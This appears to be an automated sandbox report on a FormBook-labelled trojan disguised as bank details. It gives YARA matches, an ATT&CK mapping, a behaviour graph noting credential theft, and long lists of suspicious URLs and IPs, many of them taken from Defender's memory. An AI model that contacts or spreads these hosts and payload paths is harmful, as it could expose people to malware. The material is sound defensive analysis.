        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected DorkbotShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Contains VNC / remote desktop functionality (version string found)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: rfb 003.008
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: RFB 003.008
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: wfreerdp.dll
        Source: Yara matchFile source: 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: cmd=getload&login=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: .php?cmd=login_submit&id=$praga$praga&session=$praga$praganame=chalbhaiid=chalbhaimethod=post>

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Replication Through Removable Media1Windows Management Instrumentation211DLL Side-Loading1DLL Side-Loading1File and Directory Permissions Modification1OS Credential Dumping3System Time Discovery1Remote Desktop Protocol1Archive Collected Data11Exfiltration Over Other Network MediumIngress Tool Transfer1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact2
        Default AccountsCommand and Scripting Interpreter1Windows Service11Access Token Manipulation1Disable or Modify Tools11Credential API Hooking1Peripheral Device Discovery1Replication Through Removable Media1Data from Local System3Exfiltration Over BluetoothEncrypted Channel21Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
        Domain AccountsService Execution2Registry Run Keys / Startup Folder1Windows Service11Deobfuscate/Decode Files or Information1Input Capture21File and Directory Discovery3SMB/Windows Admin SharesEmail Collection1Automated ExfiltrationNon-Standard Port1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
        Local AccountsAt (Windows)Logon Script (Mac)Process Injection113Obfuscated Files or Information3Credentials in Registry1System Information Discovery127Distributed Component Object ModelCredential API Hooking1Scheduled TransferRemote Access Software6SIM Card SwapCarrier Billing Fraud
        Cloud AccountsCronNetwork Logon ScriptRegistry Run Keys / Startup Folder1Software Packing2LSA SecretsQuery Registry1SSHInput Capture21Data Transfer Size LimitsNon-Application Layer Protocol2Manipulate Device CommunicationManipulate App Store Rankings or Ratings
        Replication Through Removable MediaLaunchdRc.commonRc.commonTimestomp1Cached Domain CredentialsSecurity Software Discovery461VNCGUI Input CaptureExfiltration Over C2 ChannelApplication Layer Protocol123Jamming or Denial of ServiceAbuse Accessibility Features
        External Remote ServicesScheduled TaskStartup ItemsStartup ItemsDLL Side-Loading1DCSyncVirtualization/Sandbox Evasion341Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolProxy1Rogue Wi-Fi Access PointsData Encrypted for Impact
        Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobFile Deletion11Proc FilesystemProcess Discovery3Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
        Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading31/etc/passwd and /etc/shadowApplication Window Discovery1Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
        Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Modify Registry1Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
        Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronVirtualization/Sandbox Evasion341Input CapturePermission Groups DiscoveryReplication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop
        Compromise Software Supply ChainUnix ShellLaunchdLaunchdAccess Token Manipulation1KeyloggingLocal GroupsComponent Object Model and Distributed COMScreen CaptureExfiltration over USBDNSInhibit System Recovery
        Compromise Hardware Supply ChainVisual BasicScheduled TaskScheduled TaskProcess Injection113GUI Input CaptureDomain GroupsExploitation of Remote ServicesEmail CollectionCommonly Used PortProxyDefacement
        Trusted RelationshipPythonHypervisorProcess InjectionHidden Files and Directories1Web Portal CaptureCloud GroupsAttack PC via USB ConnectionLocal Email CollectionStandard Application Layer ProtocolInternal ProxyInternal Defacement
        Hardware AdditionsJavaScript/JScriptValid AccountsDynamic-link Library InjectionHidden Users1Credential API HookingSystem Information DiscoveryExploit Enterprise ResourcesRemote Email CollectionAlternate Network MediumsExternal ProxyExternal Defacement

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1613 Sample: Foreign_Bank Account Details.exe Startdate: 12/10/2021 Architecture: WINDOWS Score: 100 59 prda.aadg.msidentity.com 2->59 61 mail.cselegance.com 2->61 63 4 other IPs or domains 2->63 71 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->71 73 Multi AV Scanner detection for domain / URL 2->73 75 Potential malicious icon found 2->75 77 140 other signatures 2->77 8 Foreign_Bank Account Details.exe 2->8         started        11 mpam-f54ed867.exe 2->11         started        14 mpam-c45e5da5.exe 7 2->14         started        16 4 other processes 2->16 signatures3 process4 file5 87 Writes to foreign memory regions 8->87 89 Tries to detect Any.run 8->89 91 Hides threads from debuggers 8->91 18 RegAsm.exe 2 11 8->18         started        45 C:\Windows\...\mpuxagent.dll.mui, PE32 11->45 dropped 47 C:\Windows\...\ProtectionManagement.dll.mui, PE32 11->47 dropped 49 C:\Windows\...\MpEvMsg.dll.mui, PE32 11->49 dropped 57 193 other files (none is malicious) 11->57 dropped 93 Sample is not signed and drops a device driver 11->93 23 MpSigStub.exe 11->23         started        51 C:\Windows\ServiceProfiles\...\mpavdlta.vdm, PE32+ 14->51 dropped 53 C:\Windows\ServiceProfiles\...\mpasdlta.vdm, PE32+ 14->53 dropped 55 C:\Windows\ServiceProfiles\...\MpSigStub.exe, PE32+ 14->55 dropped 25 MpSigStub.exe 4 14->25         started        27 conhost.exe 16->27         started        29 conhost.exe 16->29         started        31 conhost.exe 16->31         started        33 conhost.exe 16->33         started        signatures6 process7 dnsIp8 65 cselegance.com 116.0.120.83, 49812, 587 GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY Malaysia 18->65 67 googlehosted.l.googleusercontent.com 142.250.186.33, 443, 49794 GOOGLEUS United States 18->67 69 drive.google.com 172.217.168.46, 443, 49793 GOOGLEUS United States 18->69 37 C:\Users\user\AppData\Roaming\...\tKZVPq.exe, PE32 18->37 dropped 39 C:\Windows\System32\drivers\etc\hosts, ASCII 18->39 dropped 79 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 18->79 81 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 18->81 83 Tries to steal Mail credentials (via file access) 18->83 85 7 other signatures 18->85 35 conhost.exe 18->35         started        41 C:\Windows\ServiceProfiles\...\mpavbase.vdm, PE32+ 25->41 dropped 43 C:\Windows\ServiceProfiles\...\mpasbase.vdm, PE32+ 25->43 dropped file9 signatures10 process11

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        Foreign_Bank Account Details.exe33%ReversingLabsWin32.Trojan.FormBook

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe0%MetadefenderBrowse
        C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe0%MetadefenderBrowse
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdm0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdm0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exe0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dll0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sys0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sys0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sys0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sys0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dll0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dll0%ReversingLabs
        C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpClient.dll0%ReversingLabs

        Unpacked PE Files

        SourceDetectionScannerLabelLinkDownload
        35.3.MpSigStub.exe.15b1aab7177.152.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c67ca.70.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bbe6ede.15.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
        35.3.MpSigStub.exe.15b1baec126.171.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1beda3cf.131.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1b4cce16.61.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c6d17.71.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bc1013a.25.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a7cfabd.178.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1aab4af5.151.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bc6cad6.47.unpack100%AviraTR/Patched.Ren.Gen2Download File
        35.3.MpSigStub.exe.15b1baec126.30.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c7264.164.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a70f33e.138.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
        35.3.MpSigStub.exe.15b1baec126.44.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bc1013a.56.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1b4cce16.210.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c7264.72.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bbe6ede.24.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
        35.3.MpSigStub.exe.15b1ac963aa.134.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1b4cce16.92.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c67ca.166.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1a6c6d17.165.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

        Domains

        No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://kiranacorp.com/oja1%VirustotalBrowse
        http://kiranacorp.com/oja0%Avira URL Cloudsafe
        http://www.bonusesfound.ml/update/index.php13%VirustotalBrowse
        http://www.bonusesfound.ml/update/index.php0%Avira URL Cloudsafe
        http://www.cooctdlfast.com/download.php?3%VirustotalBrowse
        http://www.cooctdlfast.com/download.php?0%Avira URL Cloudsafe
        http://110.42.4.180:13%VirustotalBrowse
        http://110.42.4.180:0%Avira URL Cloudsafe
        http://minetopsforums.ru/new_link3.php?site=0%Avira URL Cloudsafe
        https://zangomart.com/soft/order/information/adobe2/index.htm0%Avira URL Cloudsafe
        http://today-friday.cn/maran/sejvan/get.php0%Avira URL Cloudsafe
        http://Yyl.mofish.cn/interface/SeedInstall.aspx0%Avira URL Cloudsafe
        http://www.chambersign.org10%Avira URL Cloudsafe
        http://tempuri.org/0%Avira URL Cloudsafe
        http://185.172.110.217/robx/remit.jpg0%Avira URL Cloudsafe
        https://anonfiles.com/0%Avira URL Cloudsafe
        http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/0%Avira URL Cloudsafe
        https://sumnermail.org/sumnerscools/school.php0%Avira URL Cloudsafe
        http://139.162.0%Avira URL Cloudsafe
        http://rghost.net/download/0%Avira URL Cloudsafe
        http://127.0.0.1:8000/web.html?url=yac.mx&rate=501&id=%s&key=%s&pm=1x0%Avira URL Cloudsafe
        http://usa-national.info/gpu/band/grumble.dot0%Avira URL Cloudsafe
        http://w.robints.us/cnzz.htmlwidth=0height=00%Avira URL Cloudsafe
        https://jovial-pasteur.159-89-118-202.plesk.page/wp-content/uploads/index.php0%Avira URL Cloudsafe
        http://canonicalizer.ucsuri.tcs/30%Avira URL Cloudsafe
        http://sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid=0%Avira URL Cloudsafe
        http://mexicorxonline.com/glad/imagenes.html?disc=abuse&amp;code=78672130%Avira URL Cloudsafe
        http://spywaresoftstop.com/load.php?adv=1410%Avira URL Cloudsafe
        https://sotheraho.com/wp-content/fonts/reportexcelnew.php0%Avira URL Cloudsafe
        http://walden.co.jp/wp/divorce/divorce.php?id=zxjpyy5tb3jyaxnvb0%Avira URL Cloudsafe
        http://eduardovolpi.com.br/flipbook/postal/services/parcel)0%Avira URL Cloudsafe
        https://sweetsizing.com/vip/0%Avira URL Cloudsafe
        http://security-updater.com/binaries/0%Avira URL Cloudsafe
        http://www.fbcom.review/d/9.doc0%Avira URL Cloudsafe
        http://5starvideos.com/main/K50%Avira URL Cloudsafe
        http://aklick.info/d.php?date=0%Avira URL Cloudsafe
        http://77.81.225.138/carnaval2017.zip0%Avira URL Cloudsafe
        http://www.slotch.com/ist/softwares/v4.0/istdownload.exe0%Avira URL Cloudsafe
        https://go.wikitextbooks.info0%Avira URL Cloudsafe
        https://bemojo.com/ds/161120.gif0%Avira URL Cloudsafe
        http://avnpage.info/final3.php0%Avira URL Cloudsafe
        http://esiglass.it/glassclass/glass.php0%Avira URL Cloudsafe
        https://xmrig.com/wizard0%Avira URL Cloudsafe
        https://rotf.lol/3u6d94430%Avira URL Cloudsafe
        http://tfu.ae/readme.txt0%Avira URL Cloudsafe
        https://kiwisanagustin.com/wp-admin/includes/opo.php%22%20method%3d%22post%22%20style%3d%22box-sizin0%Avira URL Cloudsafe
        https://raw.githubusercontent.com/0%Avira URL Cloudsafe
        http://m.mworld.vn/MWorld30/data20.xm?a=getip&g=3&sex=Android0%Avira URL Cloudsafe
        http://www.niepicowane.pl/0%Avira URL Cloudsafe
        http://office-service-secs.com/blm.task0%Avira URL Cloudsafe
        http://www.51jetso.com/0%Avira URL Cloudsafe
        https://irecruiter.immentia.com/storage/framework/cache/data/0e/nC7vWe43YwJjj.php0%Avira URL Cloudsafe
        http://js.f4321y.com/0%Avira URL Cloudsafe
        http://www.searchmaid.com/0%Avira URL Cloudsafe
        http://www.mva.by/tags/ariscanin1.e0%Avira URL Cloudsafe
        http://javafx.com0%Avira URL Cloudsafe
        http://masgiO.info/cd/cd.php?id=%s&ver=g0%Avira URL Cloudsafe
        http://sds.clrsch.com/x0%Avira URL Cloudsafe
        http://playsong.mediasongplayer.com/0%Avira URL Cloudsafe
        http://tiasissi.com.br/revendedores/jquery/0%Avira URL Cloudsafe
        http://207.154.225.82/report.json?type=mail&u=$muser&c=0%Avira URL Cloudsafe
        http://app.whenu.com/Offers0%Avira URL Cloudsafe
        http://www.xiuzhe.com/ddvan.exe0%Avira URL Cloudsafe
        http://66.148.74.7/zu2/zc.php0%Avira URL Cloudsafe
        http://t.zer9g.com/0%Avira URL Cloudsafe
        http://149.3.170.235/qw-fad/0%Avira URL Cloudsafe
        http://maringareservas.com.br/queda/index.php0%Avira URL Cloudsafe
        http://shdjhgftyhgjklolkjio.dns.navy/bcz/document.doc100%Avira URL Cloudmalware
        http://seunelson.com.br/js/content.xml0%Avira URL Cloudsafe
        http://costacars.es/ico/ortodox.php100%Avira URL Cloudmalware
        http://82.98.235.0%Avira URL Cloudsafe
        http://verred.net/?13099210%Avira URL Cloudsafe
        https://pigeonious.com/img/0%Avira URL Cloudsafe
        http://team.afcorp.afg/chr/crt-ho_30/newjflibrary0%Avira URL Cloudsafe
        http://data1.yoou8.com/0%Avira URL Cloudsafe
        https://jabaltoor.com/copy/img/blog/cat-post/r7gnor1h0.php0%Avira URL Cloudsafe
        http://handjobheats.com/xgi-bin/q.php0%Avira URL Cloudsafe
        http://www.pcpurifier.com/buynow/?0%Avira URL Cloudsafe
        http://www.chatzum.com/statistics/?affid=$RPT_AFFID&cztbid=$RPT_UID&inst=$RTP_SETINST&sethp=$RTP_SET0%Avira URL Cloudsafe
        https://longurl.in/tllwu0%Avira URL Cloudsafe
        http://%63%61%39%78%2e%63%6f%6d/ken.gif0%Avira URL Cloudsafe
        https://cdn4.buysellads.net/pub/tempmail.js?0%Avira URL Cloudsafe
        http://memberservices.passport.net/memberservice.srf0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        cselegance.com
        		116.0.120.83
        		truefalse
          		high
          drive.google.com
          		172.217.168.46
          		truefalse
            		high
            googlehosted.l.googleusercontent.com
            		142.250.186.33
            		truefalse
              		high
              doc-0c-28-docs.googleusercontent.com
              		unknown
              		unknownfalse
                		high
                mail.cselegance.com
                		unknown
                		unknownfalse
                  		high

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  http://110.42.4.180:true
                  • 13%, Virustotal, Browse
                  • Avira URL Cloud: safe
                  		unknown
                  http://tempuri.org/true
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/true
                  • Avira URL Cloud: safe
                  		unknown
                  http://spywaresoftstop.com/load.php?adv=141true
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.searchmaid.com/true
                  • Avira URL Cloud: safe
                  		unknown
                  http://masgiO.info/cd/cd.php?id=%s&ver=gtrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.trotux.com/?z=false
                    		high
                    http://avnisevinc.blogspot.com/false
                      		high

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://kiranacorp.com/ojaMpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpfalse
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.bonusesfound.ml/update/index.phpMpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmptrue
                      • 13%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.cooctdlfast.com/download.php?MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpfalse
                      • 3%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://minetopsforums.ru/new_link3.php?site=MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://zangomart.com/soft/order/information/adobe2/index.htmMpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://today-friday.cn/maran/sejvan/get.phpMpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://Yyl.mofish.cn/interface/SeedInstall.aspxMpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.chambersign.org1MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://185.172.110.217/robx/remit.jpgMpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://anonfiles.com/MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://sumnermail.org/sumnerscools/school.phpMpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://139.162.MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		low
                      http://rghost.net/download/MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://www.dropbox.com/MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpfalse
                        		high
                        http://127.0.0.1:8000/web.html?url=yac.mx&rate=501&id=%s&key=%s&pm=1xMpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://usa-national.info/gpu/band/grumble.dotMpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://w.robints.us/cnzz.htmlwidth=0height=0MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://www.bitly.com/adMpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpfalse
                          		high
                          http://akrilikkapak.blogspot.com/MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpfalse
                            		high
                            https://jovial-pasteur.159-89-118-202.plesk.page/wp-content/uploads/index.phpMpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://canonicalizer.ucsuri.tcs/3MpSigStub.exe, 00000023.00000003.18303772420.0000015B1B8F2000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid=MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://actresswallpaperbollywood.blogspot.com/MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpfalse
                              		high
                              http://mexicorxonline.com/glad/imagenes.html?disc=abuse&amp;code=7867213MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://lo0oading.blogspot.com/MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpfalse
                                		high
                                http://www.youtube.com/watch?v=Vjp7vgj119sMpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpfalse
                                  		high
                                  https://sotheraho.com/wp-content/fonts/reportexcelnew.phpMpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmptrue
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://walden.co.jp/wp/divorce/divorce.php?id=zxjpyy5tb3jyaxnvbMpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://eduardovolpi.com.br/flipbook/postal/services/parcel)MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://sweetsizing.com/vip/MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://security-updater.com/binaries/MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.fbcom.review/d/9.docMpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://5starvideos.com/main/K5MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://aklick.info/d.php?date=MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmptrue
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://77.81.225.138/carnaval2017.zipMpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.slotch.com/ist/softwares/v4.0/istdownload.exeMpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://go.wikitextbooks.infoMpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://tinyurl.com/up77pckMpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpfalse
                                    		high
                                    https://bemojo.com/ds/161120.gifMpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.mvps.org/vbMpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpfalse
                                      		high
                                      http://avnpage.info/final3.phpMpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://esiglass.it/glassclass/glass.phpMpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://xmrig.com/wizardMpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.activision.com/games/wolfenstein/purchase.htmlMpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpfalse
                                        		high
                                        https://rotf.lol/3u6d9443MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmptrue
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://tfu.ae/readme.txtMpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://kiwisanagustin.com/wp-admin/includes/opo.php%22%20method%3d%22post%22%20style%3d%22box-sizinMpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
